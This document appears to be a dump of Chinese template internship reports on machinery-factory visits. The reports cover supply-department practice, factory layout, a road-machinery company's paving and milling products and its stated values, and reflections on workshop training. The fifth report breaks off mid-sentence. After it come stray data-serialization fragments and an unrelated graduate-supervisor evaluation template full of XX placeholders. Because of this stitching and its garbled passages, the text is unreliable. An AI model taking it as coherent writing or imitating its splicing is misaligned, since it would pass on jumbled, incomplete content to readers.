@#@这些老客户由于多年的合作，关系很牢固，但是每当企业外联人员替换或其他特殊情况时，往往会容易丢失客户，当然这里有很多内部原因不方便向我这样的外人透露，但主要是因为离职或退休的员工往往会带走或新员工不了解老客户的习性和本来的某些特殊约定而让老客户恼火。

@#@所以，供应部员工的替换非常的慎重。

@#@同时，客户的负责会分散开来，避免客随人走的情况。

@#@@#@其次，供应部不单要搞好企业外的关心，跟生产实业部门的关系也非常的重要。

@#@@#@往往在这时，供应部是传达客户信息的主要途径，向生产部门传达顾客的需求。

@#@@#@说到供应部与生产车间的沟通，我觉得一提的是部门间的设置。

@#@我觉得工厂的布局很合理，招待外宾的会议室，高层人员的办公室和其他各部门的办公室设在同一幢大楼里。

@#@彼此距离很接近。

@#@外宾来访时，可以让他们见到工作人员的工作态度，对工作人员是一种无形的监督，也是向外宾显示员工工作态度和工厂的完善制度的机会。

@#@@#@还有一个合理的地方就是，供应部所在之处，有个门，这门专门方便供应部人员到生产车间去。

@#@为人员和部门的沟通提供了方便。

@#@@#@后来，我去拜访了公司的董事，提到这个工厂的部门布局问题的时候，让董事眉笑眼开，原来，工厂是董事的个人建筑设计，在考虑布局的时候，的确考虑到了部门沟通这个问题，特别是供应部与生产车间之间。

@#@这让我觉得有点骄傲，因为我也考虑到了他想的问题，更是因为，我把运营管理课上学到的供应链的知识，在实习中体会到了，思考到了。

@#@@#@这次难得的实习机会，让我获益太多，终身受用。

@#@我一定要牢牢记住这次的经历，把理论与实际结合起来，虚心学习，勤动脑筋，多动手，不怕麻烦，找到属于自己的那片天。

@#@@#@机械厂实习报告2000字（三）@#@今年x月26日——x月2日我们统计的学生到镇江xx路面机械有限公司进行了认识实习，在5天时间里，我所见到的每一样设备，所做的每一项工作基本上都是以前从来没有遇见过的，但是在师傅们的耐心指导与帮助下，我学习到了很多实用的、有价值的东西，在积累了一些实际工作经验的同时也更深刻的理解到了统计理论知识体系，为今后的学习奠定了坚实基础。

@#@在认识实习期里，我的感受和体会有很多，下面，我仅把主要情况做一下汇报，可能有些稚嫩，如果有不妥的地方还请老师批评指正。

@#@@#@一、镇江xx路面机械有限公司及其产品介绍@#@我公司由江苏XX机械集团公司和华晨中国机械控股有限公司共同出资建立，是我国生产经营路面机械产品和混凝土机械产品的重点企业和骨干企业，为江苏省高新技术企业、外商投资先进技术企业、全国cad应用工程示范企业、全国火炬计划重点高新技术企业、设立国家级博士后科研工作站企业和通过iso9001质量体系认证的企业。

@#@公司的前身是镇江路面机械制造总厂。

@#@近年来引进德国产数控板材加工中心、数控切割机、瑞典产hmc--800机加工中心和美国产数控折弯机、中国制造zhj.00焊接机器人、卧式铣镗加工中心、龙门铣床、数控车削中心等;@#@配有一座综合计量测试中心大楼、工程机械可靠性试验场、三座标测量仪、发动机试验台架、液压试验台、传动台架等试验检测机构和设备，逐步完善erp（企业资源计划）项目管理和6s（企业现场改善）推行活动。

@#@公司所属省级技术中心专业从事路面机械和建筑机械产品开发研究，cad设计技术覆盖率1998年已达100%，并已全面实施capp、pdm技术。

@#@这些具有世界先进水平的设备和管理方式，为批量生产高科技、高附加值的路面机械提供了很好的性能和可靠的质量保证，为新产品的研究、开发、试验工作和实施产品的高新技术产业化提供了必备条件。

@#@@#@arc150m型可移动式沥青混凝土厂拌冷再生设备@#@为了满足西南山区及边远地区公路建设改造和沥青材料的综合利用需要，xx在成功掌握沥青厂拌冷再生设备制造技术及施工工艺的基础上，研发出适用于山区搬迁方便的arc150m型可移动式沥青混凝土厂拌冷再生设备新产品。

@#@该款产品在治理基层纵向裂缝及反射裂缝，消除车辙等结构性病害方面取得创造性成果，除保留了arc300e型沥青厂拌冷再生设备基本特性，实现了铣刨废旧沥青料100%的循环再生利用，避免资源浪费及环境污染，延长沥青面层使用寿命，节省养护时间和设备投资外，还具有降低施工成本、作业效率高、转场搬迁便捷、使用维修方便、节约环保等显著特点。

@#@@#@hth3400b型滑模式水泥混凝土摊铺机@#@该产品是为满足我国高速客运专线及公路建设的需要，并为提高水泥混凝土路面的施工质量和速度，在从美国先进技术的基础上自行研制开发的。

@#@为全液压驱动，恒速自动控制、故障自诊断、汉显等功能;@#@功率储备大，重载型液压系统性能可靠;@#@操作简单方便，设有自动驾驶和自动找平控制系统，作业时可一次性完成水泥混凝土摊铺、刮平、振捣、捣固、挤压成型路面，并可完成中间钢筋插入，侧边钢筋插入等工序。

@#@@#@ltl60c型沥青摊铺机@#@主要用于公路、城乡道路、停车场、广场等工程的沥青摊铺作业。

@#@该机动力强劲、结构紧凑、操作方便、可靠性高、性价比优;@#@采用先进的双层液压延伸熨平板和自动找平装置，平整度、密实度高;@#@采用电子控制燃油加热系统，加热均匀、速度快;@#@采用独特的段差调整机构，快捷、方便;@#@采用燃油清洗系统，清洗更加彻底;@#@采用小螺旋叶片，拆卸方便、使用经济。

@#@@#@lxh1300d型沥青路面铣刨机@#@是一种高效的路面机械化养护设备。

@#@主要用于高等级公路、机场、广场等沥青路面的铣刨破碎;@#@也可用于路面油包、油浪、车辙的铣平修整;@#@还可以对摩擦系数较低的路面进行快速拉毛作业。

@#@该机配有回收装置，可将铣刨下来的旧料直接回收到运输车辆上;@#@先进的自动找平系统使铣刨工作更可靠，铣深控制更精确，并极大减轻操作劳动强度。

@#@是沥青路面机械化养护最理想的设备。

@#@@#@lxzy500b型沥青路面铣刨机是一种小型的路面机械化养护设备。

@#@主要用于市政道路、街区巷道、广场货场等沥青路面的铣刨破碎;@#@也可用于沥青路面油包、油浪、车辙的铣平修整;@#@还可以对摩擦系数较低的路面进行拉毛作业。

@#@该机小巧机动灵活，操控简单方便，特别适合狭窄区域的铣刨作业，是沥青路面机械化养护的理想设备。

@#@@#@sph75e型多功能摊铺机@#@广泛适用于各等级公路基层和面层的摊铺。

@#@它充分吸收了国内外同类产品的先进技术，整机具有自动化程度高、操作简单、施工质量好、作业效率高等优点，采用全液压驱动、电液比例控制、双振捣高密实度端部液压延伸熨平板、超声波传感控制等先进技术。

@#@具有输分料传感器自动控制、自动找平、集中自动润滑、端部宽度无级调整等功能。

@#@关键件全套进口，确保了整机的先进性和可靠性。

@#@@#@spse90v型多功能摊铺机@#@主要用于高等级公路基层和面层的摊铺作业。

@#@它采用了当今先进技术，整机具有自动化程度高、作业效率高、可靠性好、操作简单、维护方便等优点。

@#@集先进性与实用性于一体，采用全液压驱动、多导柱液压延伸熨平板、智能远红外加热、超声波传感控制等先进技术。

@#@具有恒速自动控制、自动转向、故障自诊断、数显等功能;@#@关键件全套进口，易磨损部位采用进口耐磨材料，确保了整机的先进性和可靠性。

@#@@#@沥青路面微波工程养护车@#@将微波技术应用到路面养护施工当中，利用微波发射的频率为24亿次/秒的电磁波对沥青混合料里面中的极性分子进行加热，达到对病害路面的热修补，具有穿透力强、加热均匀、易于控制、清洁环保等特点。

@#@沥青路面微波路面工程养护车主要由汽车底盘、发电机组、微波加热墙、料斗等组成。

@#@@#@二、认识实习的具体内容@#@第一天到xx路面机械有限公司时，一进大门，就看到大门右侧排列着诸多荣誉奖牌，像全国cad应用工程示范企业、全国火炬计划重点高新技术企业、国家级博士后科研工作站企业等等，都是国家给予xx的表彰，也是对他们工作的肯定，看到这些我就不禁感到好奇，对于这家企业也就想有更深入的了解。

@#@在通往学习教室的路上，不断有叉车从我们身边驶过，工人们都身着工作服做着正式开工前的准备。

@#@从建筑厂房来看，这件企业应该有一段不短的历史了，食堂，厂房，教室都是旧式建筑，树木也都长的郁郁葱葱，枝繁叶茂的。

@#@后来经过师傅的介绍才知道我们身处的这个厂区是老厂区，已经有50多年的历史了。

@#@@#@接下来的时间里公司负责培训的师傅向我们介绍了今后几天实习的具体安排，除了今天的学习之外，我们还会按照工艺流程参观xx的厂区，后面三天我们会被分到不同的部门里去深入了解这间企业的内部结构和企业文化。

@#@@#@其实在第五天的学习中给我留下印象最深的其实是它的企业文化，于是我又做了进一步的深入了解。

@#@@#@首先，它的企业文化包括：

@#@领导能力，即为了达到我们的愿景与使命，完成客户的要求，员工必须具备的才能。

@#@由敏锐的商业头脑，与客户的亲密关系，持续的创新，断的领导能力，掌握变化，打造合作关系，速度与焦点组成@#@四项策略目标。

@#@即扩大战略能力，创造及提供世界一流的产品，系统和服务并注册知识产权。

@#@扩展全球网络，利用国际市场，各种网络和商业合作关系，扩展市场，企业能力，加强竞争力。

@#@欢迎合作关系，通过合资经营，合作项目及其他商业联盟在国际市场建立战略性合作关系。

@#@提高企业优点，通过灵活有效经营与持续采用市场上最佳营运方式追求成长，以世界一流的表现为投资人创造价值，应用六项策略要旨以达到卓越表现。

@#@@#@而我认为其中最重要的就是它的核心价值观，即诚信，价值创造，勇气，承诺，爱心。

@#@诚信就是以开放及坦率的心态面对他人，在交往中值得信赖，将安全放在首位，工作中严格执行法律法规，避免卷入利益冲突，当犯错误或有疑问时，对同事坦诚相待，鼓励相互学习。

@#@真诚地给与同事认可，为大家勤奋工作要推动价值创造必须。

@#@保证不断进步，有领先市场的革新技术而且每次都更上一层楼。

@#@时刻准备给与或接受真实的反馈，坦诚的面对表现成绩。

@#@对出现的困难情况迅速积极的采取行动时刻保持竞争力，竭尽所能，挑战目标。

@#@勇于尝试新事物，勇于冒险，争取突破性的成果，将工作向前推进并鼓励他人做同样的事。

@#@承认自己的错误和失败，从中吸取教训并确保受影响的人已被通知。

@#@面对妨碍了工作的企业问题，提倡志向远大但实际的策略来开拓我们的事业。

@#@@#@机械厂实习报告2000字（四）@#@为期两周的工厂实习已经顺利结束了。

@#@期间，在陈老师的带领下，我们分时间段分别在在A公司和B机械厂进行参观和实习。

@#@在实习中我学到了许多我们在课堂上学不到的东西，也更好的巩固了我们在课堂上学的理论知识，同时通过车间师傅的讲解，更深层次的了解了各种机床的加工机理。

@#@@#@在实习过程中，我们先后了解了机械加工工艺的知识及方法，铸造工艺及设备的知识，各种机床和数控系统的知识，常用刀具的结构、选择、用途等方面，我们通过实习了解到了实践与理论的差异。

@#@通过实习期间的体会，我更加深刻地认识到了理论和实践并不是完全相同的，我们不能够把书本上的知识照搬、照抄到生产中来，这样不仅有时达不到理论效果，有时甚至会造成很大的经济损失和资源浪费。

@#@所以，在以后的学习当中，我会注意理论和实践的结合，学以致用，任何理论和知识只有与实践相结合，才能发挥出作用。

@#@将理论与实践结合起来，包括各种设备的实物勘察和设备操作步骤以及注意事项，还有各工序实际上的流程。

@#@这些大都和书本上相同，通过对机械设备的观察，弥补了理论知识的不足之处，加深了对知识的巩固。

@#@@#@虽说实习名义上有两星期，但是真正实习的时间只有一周。

@#@不知不觉实习的日子就这样过去了。

@#@回想在这七天的日子里，有时候自己也感觉很迷茫，有时候感觉自己很高兴。

@#@我很珍惜这七天的所学到的东西七天，学到这么多的东西我已经满足了。

@#@在这七天里，我学到了许多在课堂上学不到得东西，也懂得了很多从生活中无法获得的知识和经验。

@#@此次在工厂车间实习，我学到的更多的应该是自己的专业知识，实习上得到的感触及生产经验。

@#@在车间中，培养了自己收集资料的能力及提高分析问题的能力，使我更好地学习、掌握机械工程专业知识。

@#@在实习中也感到了生活的充实和学习的快乐，以及获得知识的满足。

@#@通过实习，不仅让我获得了机械加工的基础知识,了解机械生产一般操作过程、生产方式和工艺过程,熟悉了主要机械加工方法及其所用主要设备的工作原理和典型结构、安全操作技术，而且加强了理论联系实际的锻炼,提高了实践能力,培养了向工人及现场技术人员学习的工程素质。

@#@@#@而在专业方面，巩固已学专业基础课和部分专业课程的有关知识，并为后续专业课的学习作必要的知识准备，通过实习，学习实际生产操作技能，了解更多的专业技术知识及应用状况，拓宽专业知识面;@#@培养学生理论联系实际的工作作风，树立安全第一的生产观念，提高分析问题、解决问题的独立工作能力，通过实习，加深我们对专业的理解和认识，为进一步开展专业课程的学习创造了条件。

@#@@#@实践是真理的检验标准，通过两星期的工厂实习，我了解到很多工作常识，也得到意志上锻炼，有辛酸也有快乐，这是我大学生活中的又一笔宝贵的财富，对我以后的学习和工作将有很大的影响。

@#@很快我们就要步入社会，就业单位不会像老师那样点点滴滴细致入微地把要做的工作告诉我们，更多的是需要我们自己去观察、学习。

@#@不具备这项能力就难以胜任未来的挑战。

@#@随着科学的迅猛发展，新技术的广泛应用，会有很多领域是我们未曾接触过的，只有敢于去尝试才能有所突破，有所创新。

@#@一周的工厂实习带给我们的，不全是我们所接触到的那些操作技能，更多的则需要我们每个人在实习结束后根据自己的情况去感悟，去反思，勤时自勉，有所收获，使这次实习达到真正目的。

@#@@#@而且我们步入社会，面临着择业和就业的问题，这样我们就很需要在专业方面有比较深刻地认识，掌握专业上所需要的一切知识，这样在今后的工作中，我们处理起问题才能够游刃有余，不会被困难压垮，机遇只给有准备的人，只有我们不断的充实自己的头脑，才能够更有信心的微笑着面对挑战，让自己成为生活和事业上的强者。

@#@通过这次实习我知道生活的艰辛和工作的乐趣，同时在机械加工这一方面我还有很多不了解的地方，还需要学习。

@#@在今后是生活和学习中我会更加努力。

@#@这样的学习使我的脑海中对机械有一个大体的轮廓，让一个个零件的加工都在我的眼前运作。

@#@我突然感觉古人的那句纸上得来终觉浅,绝知此事要躬行颇有道理。

@#@我相信有了这些实践的感性认识,我们以后必能更有针对性地学习理论知识。

@#@@#@同时，看着车间师傅忙碌的背影，每天每时都要重复着同一个动作，每一次都要忍受那高分贝的噪音。

@#@当我看到那一切，与他们的交流时，我感到有些迷茫。

@#@我不知道以后的生活会怎么样，但我会勇敢的去面对自己所面临的挫折和失败。

@#@在失落的.时候要学会反省自己。

@#@时刻告诉自己应该干什么，清楚的明了自己要去做什么。

@#@在失败和挫折面前应善于扬长避短，以此来提高自己的综合能力，在学校应该全面的发展自己。

@#@@#@七天,一个说长不长说短不短的时间，很感谢学校给我们安排了这次实习。

@#@虽说我在这七天里没有圆满的完成学校给我们安排的任务，但我收获了其他方面的东西通过生产实习，巩固和加深所学理论知识，培养我们的独立工作能力和加强了劳动观点，明白了自己以后人生奋斗的方向。

@#@@#@机械厂实习报告2000字（五）@#@一、实习目的@#@1.通过现场参观，了解某一产品的即席";i:

20;s:

1622:

"导师评语：

@#@@#@在思想上，主动向党组织靠拢，主动学习党中央的政策路线，始终严格要求自己，有良好的心态和积极上进的进取心。

@#@@#@在学习上，有明确的学习目标，专业基础扎实，在读研期间参与了导师多项课题的研究，善于思考，工作认真，勤奋好学，能虚心接受指导。

@#@态度非常认真虔诚。

@#@在研究生阶段的科研学习以及工作中都是优秀出色的。

@#@@#@在生活中，为人热情，和同学关系融洽，乐于助人。

@#@性格开朗，思维敏捷，适应能力较强。

@#@热爱集体，诚实守信，上进心强。

@#@有强烈的敬业精神和团队精神。

@#@@#@XX同学在论文的写作过程中，积极与指导教师联系，并认真调查研究，阅读了大量的文献资料，能够熟练掌握XX专业的基础理论知识，论文以《XXX研究》为题，选题符合XXX专业的特色。

@#@教材是一个巨大的宝藏，对其进行分析具有非常重要的意义。

@#@在全面提倡核心素养的时代大背景下，XX教材中XX学习策略的研究的尚属首例，具有独特创新性。

@#@XX同学通过设计分析框架，对人教版XX教材中的XX学习策略进行了量化统计和质性分析，并对学生在学习中使用这些学习策略的情况展开了调查，经过研究得出科学的结论，并根据研究结果提出了相应的建议。

@#@本篇论文经过多次加工修改，不断提高了论文的水平。

@#@整篇文章结构安排合理，观点十分明确，逻辑非常清晰，层次分明，写作规范。

@#@@#@";}